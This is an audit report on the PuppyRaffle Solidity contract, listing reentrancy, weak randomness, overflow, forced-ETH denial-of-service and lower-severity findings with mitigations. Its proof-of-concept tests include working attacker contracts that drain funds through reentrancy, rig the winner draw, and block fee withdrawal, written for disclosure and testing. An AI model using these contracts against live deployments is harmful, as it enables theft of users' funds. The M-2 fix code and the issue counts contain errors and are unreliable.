PuppyRaffle-Protocol Audit Report

Version 1.0

AGMASO

October 11, 2024

Protocol Audit Report

AGMASO

October 11, 2024

Prepared by: AGMASO Lead Auditors:

- Alejandro G. Martin

Table of Contents

- Medium
  - [M-1] Mishandling Of ETH + dangerous strict equality in `PuppyRaffle::withdrawFees` , can deny of service the withdraw function, blocking the extract of fees.
  - [M-2] Looping through players array to check if there are duplicates addresses in the `PuppyRaffle::enterRaffle` is a potential DoS, causign an increase of Gas Cost for future participants trying to enter the Raffle, incluiding a possible to fire an Error of OutOf-Gas.
  - [M-3] `PuppyRaffle::selectWinner` doesn't follow CEI and executes a external call before a NFT Mint, causing the `winner` to get unpaid and without NFT.
- Low
  - [L-1]: Emits event even the array is empty, unnecessary evet is fired and can cause confusion, and issues in front-end applications
  - [L-2]: State variable changes but no event is emitted.
  - [L-3]:`PuppyRaflle:getActivePlayerIndex` returns 0 for "not found", this lead to cofussion of the User.
  - [L-4]: Dividing without the use of Preccision, leads to Precission error.
  - [L-5]: Dead Code
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Define and use `constant` variables instead of using literals
  - [I-3] Immutable variables standard.Immutables should begin with "i*" and Storage Variables should begin with "s*"
  - [I-4] Redundant bytes casting. `Base64.encode()` needs bytes as parameter and `abi.encode` is already bytes, so no need to cast in bytes.
- Gas
  - [G-1]: State variable could be declared constant
  - [G-2] Inside of functions, cast a Storage Variable in a memeory one to not call and read many times during the function to Storage,This cause a incremente of Gas usage.

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The AGMASO-Security-Reviews team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Scope Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#--PuppyRaffle.sol
```

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	5
Info	5
Gas	2
Total	18

Findings

High

[H-1] `PuppyRaffle::refund` executes a external call before updating the State Variable, Re-entrancy attack and loosing all the funds of the `PuppyRaffle` is posible.

Description: The `PuppyRaffle::refund` doesn't follow the CEI structure, being a Extenal call sending ether to another contract before than the updates of the user's balances in the State Variable. This generates a re-entrancy vulnerability.

Impact: Loosse all the funds in the contract. A malicious actor could create a Attacker SC and use this vulnerability to drain the balance of the contract.

Proof of Concept: Check the test file & the Attacker Contract.

Proof of Concept

```
1     contract Attacker {
2     PuppyRaffle public puppy;
```

```
    uint256 entranceFee = 1e18;
    uint256 addressAttackerIndex;

    constructor(PuppyRaffle _puppy) {
        puppy = _puppy;
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppy.enterRaffle{value: entranceFee}(players);

        addressAttackerIndex = puppy.getActivePlayerIndex(address(this));

        puppy.refund(addressAttackerIndex);
    }

    receive() external payable {
        if (address(puppy).balance >= 1 ether) {
            puppy.refund(addressAttackerIndex);
        } else return;
    }
}
```

```
function test_ReEntrancyAttack() public {
        address[] memory players = new address[](10);
        for (uint i = 0; i < players.length; i++) {
            players[i] = address(uint160(i));
        }
        uint256 entranceFeeTotal = entranceFee * 10;
        deal(USER, entranceFeeTotal);
        vm.prank(USER);
        puppyRaffle.enterRaffle{value: entranceFeeTotal}(players);

        deal(address(attacker), 1 ether);
        uint256 balanceOfAttackerFirst = address(attacker).balance;
        console.log(
            "Balance of Attacker after attack: ",
            balanceOfAttackerFirst
        );
        uint256 balanceOfPuppyFirst = address(puppyRaffle).balance;
        console.log("Balance of Contract after attack: ", balanceOfPuppyFirst);

        deal(address(attacker), 1 ether);
        attacker.attack();
        uint256 balanceOfAttacker = address(attacker).balance;
        console.log("Balance of Attacker after attack: ", balanceOfAttacker);
        uint256 balanceOfPuppy = address(puppyRaffle).balance;
```

```
25          console.log("Balance of Contract after attack: ",
                balanceOfPuppy);
26
27          assert(balanceOfPuppy == 0);
28      }
```

Recommended Mitigation:

To avoid this kind os vulnerability, we recommend to follow the CEI.

This means that allways before a exteranal call is executed, we need to update the Storage Varaibles. This structure CEI stand for CHECKS - EFFECTS - INTERATIONS

Other way will be to use a well known Library as for instance OZ and his ReentrancyGuard. Inheriting this Library in `PuppyRaffle`, you will mitigate this issue.

Under the hood, this library creates a boolean Flag to restrict the reentrancy vulnerabilitie.

[H-2]: `PuppyRaffle::selectWinner` implements Weak Randomness PRNG, An attacker could determine the winner in forhand as they can know block.timestamp, and block.difficulty.

Description: The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The `PREVRANDAO` opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

2 Found

```
1  uint256 winnerIndex = uint256(
2              keccak256(
3                  abi.encodePacked(msg.sender, block.timestamp, block.
                       difficulty))
4              ) % players.length;
```

```
1
2  uint256 rarity = uint256(
3              keccak256(abi.encodePacked(msg.sender, block.difficulty))
4              ) % 100;
```

Impact: An attacker could determine the winner in forehand as they can know block.timestamp, and block.difficulty in a deterministic way.

Proof Of Concept:

PoC

```
function test_AuditWeakPRNG() public playersEntered {
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);

        vm.prank(address(attacker));
        attacker.attackWeakPRNG();

        console.log(puppyRaffle.previousWinner());
        console.log(playerOne);
        assert(puppyRaffle.previousWinner() == playerOne);
    }
```

```
contract Attacker {
    PuppyRaffle public puppy;
    uint256 entranceFee = 1e18;
    uint256 addressAttackerIndex;

    constructor(PuppyRaffle _puppy) {
        puppy = _puppy;
    }


    function attackWeakPRNG() public {
        uint256 timestamp = block.timestamp;
        console.log(timestamp);
        uint256 difficulty = block.difficulty;
        console.log(difficulty);
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                    difficulty)
            )
        ) % 5;
        console.log(winnerIndex);

        if (winnerIndex == 0) {
            puppy.selectWinner();
        } else {
            revert("No right winner Index");
        }
    }


}
```

Mitigation: Solidity can give us a random number, so to introduce real randomness into the Blokchain, we will need to use third parties such as Chainlink VFR. As today, is the best way to create randomness inside the blockcahin with garanties.

[H-3] `PuppyRaffle::selectWinner` unsafe casting + overflow, cause a possible loose of fees amount for the Fees Collector.

Description: The use of uint64 for the `PuppyRaffle::totalFees` is just too small. If the Raffle collect more than 18 Eth, it will perform a overflow in that `PuppyRaffle::totalFees` variable.

```
function selectWinner() external {

        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );

        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                   difficulty)
            )
        ) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;

        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
    @>   totalFees = totalFees + uint64(fee); // @audit overflow &
        unsafe Casting: Strange castng of uint64/256 of totalFees

        uint256 tokenId = totalSupply();
```

Impact: The Fees collector will loose money, as if the overflow performs then the value inside of `PuppyRaffle::totalFees` will restart from Zero.

Proof of Concept:

PoC

```

function test_AuditOverflow() public playersEntered {
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);

        puppyRaffle.selectWinner();

        uint256 startingFeesAmount = puppyRaffle.totalFees();
        console.log(startingFeesAmount);

        uint256 playersAmount = 90;
```

```
        address[] memory players = new address[](playersAmount);

        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i);
        }
        deal(USER, 200 ether);
        vm.prank(USER);
        puppyRaffle.enterRaffle{value: entranceFee * 90}(players);

        //Forwarding time and block to execute selctwinner
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);

        puppyRaffle.selectWinner();

        uint256 endingFeesAmount = puppyRaffle.totalFees();
        console.log(endingFeesAmount);

        assert(endingFeesAmount < startingFeesAmount);
    }
```

Recommended Mitigation:

Change the `PuppyRaffle::totalFees` to uin256, to avoid those issues. Change the Pragma version of the contrat to one over 0.8.0 to have default checked for uint, so if overflow happens, it will fire a error.

Medium

[M-1] Mishandling Of ETH + dangerous strict equality in `PuppyRaffle::withdrawFees`, can deny of service the withdraw function, blocking the extract of fees.

Description:

The line 210 of the code has a Mishandling Of ETH, when the protocol compares `address(this).balance` with `uint256(totalFees)`. The reason why is that the protocol is assuming that the balance of the address is only modifed by the bussines logic, but this could fail for example if we use `selfdestruct` or pushing ETH to the contract before it was created.

In addition, the code uses a dangerous strict equality, making it possible that even a minus difference could fire the require and revert the Tx.

```

function withdrawFees() external {

        require(
```

```
5  @>            address(this).balance == uint256(totalFees),
6              "PuppyRaffle: There are currently players active!"
7          );
8
9          uint256 feesToWithdraw = totalFees;
10         totalFees = 0;
11 }
```

Impact:

High impact, as we can block the `PuppyRaffle::withdraFees` funcion forever, and anyone will manage to call succesfully the function.

Proof of Concept:

After we call `PuppyRaffle::selectWinner` we should have a Contract balance of:

`balance: 1000000000000000000`

but we have

`balance: 2000000000000000000`

this is because we have pushed ETH with selfdestruct()

Now the `PuppyRaffle::withdraFees` will blocked forever.

```

function test_AuditMishandlingEth() public playersEntered {
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);
        puppyRaffle.selectWinner();
        console.log(address(puppyRaffle).balance);

        vm.prank(USER);
        seldestruct.payMe{value: 1 ether}();
        seldestruct.destruct();

        console.log(address(puppyRaffle).balance);
        //Before we execute this, we will push ether to the PuppyRaffle
            with selfdestruct()
        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

```

contract AttackerSelfDestruct {
    PuppyRaffle puppyRaffle;

    constructor(PuppyRaffle _puppy) {
        puppyRaffle = _puppy;
    }
```

```
8
9       function payMe() public payable {}
10
11      function destruct() public {
12          selfdestruct(payable(address(puppyRaffle)));
13      }
14  }
```

Recommended Mitigation:

Don't assume that `address(this).balance` will follow the bussines Logic. Avoid to use this parameter to create Checks, as you can break the protocol.

Instead of comparing the contract's balance (address(this).balance) directly to totalFees, we should use totalFees exclusively to track how much ETH can be withdrawn, and withdraw that amount without requiring the contract balance to match it exactly.

[M-2] Looping through players array to check if there are duplicates addresses in the `PuppyRaffle::enterRaffle` is a potential DoS, causign an increase of Gas Cost for future participants trying to enter the Raffle, incluiding a possible to fire an Error of OutOfGas.

[Impact] = Medium, could make expensive to use this protocol, so it will impact the usage [Likelihood] = Medium, because it will cost a lot of money to execute this for the attacker. TO create the completly Dos, it will cost too much.

Description: The `PuppyRaffle::enterRaffle` loops through the players Array, which is unbounded, to check if there are duplicates Addresses in the array and revert. However, the longer the `PuppyRaffle::players` array gets, the more checks a new player will need to do and the more Gas he has to spend. This means that the Players who enter in the Raffle at the start, will pay much less Gas that the consecutives ones.

```
1  // @audit High: Dos vulnerabilitie. We have a unbounded array , which
       could lead to Denial of service Attack
2  @> for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(
5                      players[i] != players[j],
6                      "PuppyRaffle: Duplicate player"
7                  );
8              }
9          }
```

Impact: A malicious Actor could manipulate this `PuppyRaffle::players` array to make imposible ot really expensive to other players to enter the raffle. Getting advantage to win the Raffle.

Proof of Concept: If we hace to sets of player ,each 100 players, we can assure that the first set will pay much less Gas than the other secondSet.

```
First Set Gas paid: ~ 6249926;
Second Set Gas paid: ~ 18068016;
```

Almost 3x more!!

Proof of Concept

```
    function test_DosAttackSecondEnterRaffle() public {
        address[] memory players = new address[](100);
        for (uint i = 0; i < players.length; i++) {
            players[i] = address(uint160(i));
        }
        uint256 entranceFeeTotal = entranceFee * 100;
        deal(USER, entranceFeeTotal);
        vm.prank(USER);
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFeeTotal}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd);
        console.log(gasUsedFirst);

        //Second time to proove that it will cost more Gas de second
            time beacuse of looping

        address[] memory playersTwo = new address[](100);
        for (uint i = 0; i < playersTwo.length; i++) {
            players[i] = address(uint160(i + players.length));
        }

        deal(USER, entranceFeeTotal);
        vm.prank(USER);
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFeeTotal}(players);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = (gasStartTwo - gasEndTwo);
        console.log(gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

We try to keep the functionalatie as much as possible. To mitigate this issue, we recommend you 2 approaches:

1. Allow to create duplicate addresses to enter the `PuppyRaffle::enterRaffle`. Anyway everyone can generate new unlimited addresses and twerk this concept.

2. Create a Mapping that take track of each address in `PuppyRaffle::players` array.

```
+ mapping(address=> uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;

function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );

        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[players[i]]= raffleId;
        }
        .
        .
        .

-        // Check for duplicates
+        for(uint256 i = 0; i < players.length; i++){
+           require(addressToRaffleId[players[i]] != raffleId, "
    PuppyRaffle: Duplicate +           Player");
-           for (uint256 j = i + 1; j < players.length; j++) {
-           require(
-                   players[i] != players[j],
-                    "PuppyRaffle: Duplicate player"
-               );

            }
        }
        .
        .
        .
```

[M-3] `PuppyRaffle::selectWinner` doesn't follow CEI and executes a external call before a NFT Mint, causing the `winner` to get unpaid and without NFT.

Description: The `PuppyRaffle::selectWinner` doesn't follow the CEI structure, being a Extenal call sending ether to another contract before we mint a new NFT for the `winner`. If the `winner` is not an EOA, rather a Smart Contract with a `revert()` inside the `fallback/receive` function, all the Tx will fail, the `winner` will get unpaid and without NFT, the raffle will be closed and will cause a ETH mishandling problem as the amount not paid to the winner will reamin in the Contract, and will change the bussiness logic for the next round.

Impact: `winner` of the raffle will not be paid. ETH mishandling problem for the next rounds of the Raffle.

Proof of Concept: Check the test file & the Attacker Contract.

```
function test_AuditRenetrancyRevert() public {
        address[] memory players = new address[](5);
        address attackerAdrr = address(attacker);
        players[0] = attackerAdrr;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = playerFive;
        deal(USER, 10 ether);
        vm.prank(USER);
        puppyRaffle.enterRaffle{value: entranceFee * 5}(players);

        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);

        vm.prank(address(attacker));
        attacker.attackWeakPRNG();
    }
```

```
contract Attacker {
    PuppyRaffle public puppy;
    uint256 entranceFee = 1e18;
    uint256 addressAttackerIndex;

    constructor(PuppyRaffle _puppy) {
        puppy = _puppy;
    }


    function attackWeakPRNG() public {
        uint256 timestamp = block.timestamp;
        console.log(timestamp);
        uint256 difficulty = block.difficulty;
        console.log(difficulty);
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                    difficulty)
            )
        ) % 5;
        console.log(winnerIndex);

        // puppy.selectWinner();
        if (winnerIndex == 0) {
            puppy.selectWinner();
        } else {
            revert("No right winner Index");
```

```
29          }
30      }
31
32      receive() external payable {
33          console.log("Estoy aqui");
34          revert("Maliciuos/unconcious revert, blocks the function, DoS")
                ;
35      }
36      fallback() external {
37          console.log("Estoy aqui");
38          revert("Maliciuos/unconcious revert, blocks the function, DoS")
                ;
39      }
40
41  }
```

Low

[L-1]: Emits event even the array is empty, unnecessary evet is fired and can cause confusion, and issues in front-end applications

Inside of the `PuppyRaffle::enterRaffle` we can exceute with an empty array. This means that we will emit an Event empty. This leads to confussion and can cause malfunction of the Front-end.

Found Instances

- Found in src/PuppyRaffle.sol Line: 115

```
1       emit RaffleEnter(newPlayers);
```

[L-2]: State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 152

```
1       function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 198

```
1       function withdrawFees() external {
```

[L-3]:`PuppyRaflle:getActivePlayerIndex` returns 0 for "not found", this lead to cofussion of the User.

Description: Returning Zero for a "not found" player is a mistake, because `player[0]` also exists, so is leads to confusion for the User, that will get Zero from the function, but he will not know if this means that he is `player[0]` or he is not in the Raffle.

```
1   function getActivePlayerIndex(
2           address player
3       ) external view returns (uint256) {
4           for (uint256 i = 0; i < players.length; i++) {
5               if (players[i] == player) {
6                   return i;
7               }
8           }
9   @>        return 0;
10      }
```

Impact: The impact is Low, as to enter `PuppyRaffle::refund` there is a check that can avoid any malicious behavior related to this issue. But it will impact to the User, cofusing him and not knowing if he can refund or not.

Recommended Mitigation: To mitigate this issue, we recommend to change the approach of the present protocol.

One option will be to return not only the `i` index, but adding a `bool active` to check if the `msg.sender` is a player active or not.

```
1
2
3   function getActivePlayerIndex(
4         address player
5   +     ) external view returns (uint256, bool) {
6         for (uint256 i = 0; i < players.length; i++) {
7             if (players[i] == player) {
8   +                 return (i, true);
9             }
10        }
11  +       return (0, false);
12    }
```

[L-4]: Dividing without the use of Preccision, leads to Precission error.

Description: When the protocol divide the `totalAmountCollected` by 100, we will loose preccission as Solidity doesn't support floating numbers. This leads to a truncate of the result.

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact: Depends of our protocol could cause really big troubles. Better always use preccision.

Mitigation:

Use a Precission variable such as:

```
uint256 public constant PRECISSION = 1e18;
```

Then update the code:

```
1 uint256 prizePool = (totalAmountCollected * PRECISSION * 80) / 100;
2 uint256 fee = (totalAmountCollected * PRECISSION * 20) / 100;
```

Later bring the precission back as you need.

[L-5]: Dead Code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 217

```
1     function _isActivePlayer() internal view returns (bool) {
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

There are newer `pragma solidity` versions than you use here, so we recommend you to use those newer version, to avoid known vulnerabilities such as overflow or underflow.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Define and use `constant` variables instead of using literals

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

3 Found Instances

Example: `uint256 public constant PRIZEPOOLPORCENTAGE`

- Found in src/PuppyRaffle.sol Line: 169

```
1          uint256 prizePool = (totalAmountCollected * 80) / 100;
```

  Example: `uint256 public constant FEEPOOLPORCENTAGE`

- Found in src/PuppyRaffle.sol Line: 170

```
1          uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 178

```
1          ) % 100;
```

[I-3] Immutable variables standard.Immutables should begin with "i" *and Storage Variables should begin with "s"*

To make the code more readable and understandable, try to begin the storage variables with a "s" *and the immutable variables as well with "i"*.

Example: `uint256 public s_points = 10;` Example: `uint256 public immutable i_entranceFee;`

[I-4] Redundant bytes casting. `Base64.encode()` needs bytes as parameter and `abi.encode` is already bytes, so no need to cast in bytes.

Redundant bytes casting. `Base64.encode()` needs bytes as parameter and `abi.encode` is already bytes, so no need to cast in bytes.

Found Instances

- Found in src/PuppyRaffle.sol Line: 251

```
1
2      return
3           string(
```

```
4                 abi.encodePacked(
5                     _baseURI(),
6                     Base64.encode(
7                         bytes(
8                             abi.encodePacked(
9                                 '{"name":"',
10                                name(),
11                                '", "description":"An adorable puppy
                                      !", ',
12                                '"attributes": [{"trait_type": "
                                      rarity", "value": ',
13                                rareName,
14                                '}], "image":"',
15                                imageURI,
16                                '"}'
17                            )
18                        )
19                    )
20                )
21            );
```

Gas

[G-1]: State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 39

```
1       string private commonImageUri =
```

- Found in src/PuppyRaffle.sol Line: 45

```
1       string private rareImageUri =
```

- Found in src/PuppyRaffle.sol Line: 51

```
1       string private legendaryImageUri =
```

[G-2] Inside of functions, cast a Storage Variable in a memeory one to not call and read many times during the function to Storage,This cause a incremente of Gas usage.

Found Instances

- Found in src/PuppyRaffle.sol Line: 105

In this case you are using players.length in two occasions. We could reduce to one.

```
1   uint256 length = players.length;
2     for (uint256 i = 0; i < length - 1; i++) {
3           for (uint256 j = i + 1; j < length; j++) {
4               require(
5                   players[i] != players[j],
6                   "PuppyRaffle: Duplicate player"
7               );
8           }
9       }
```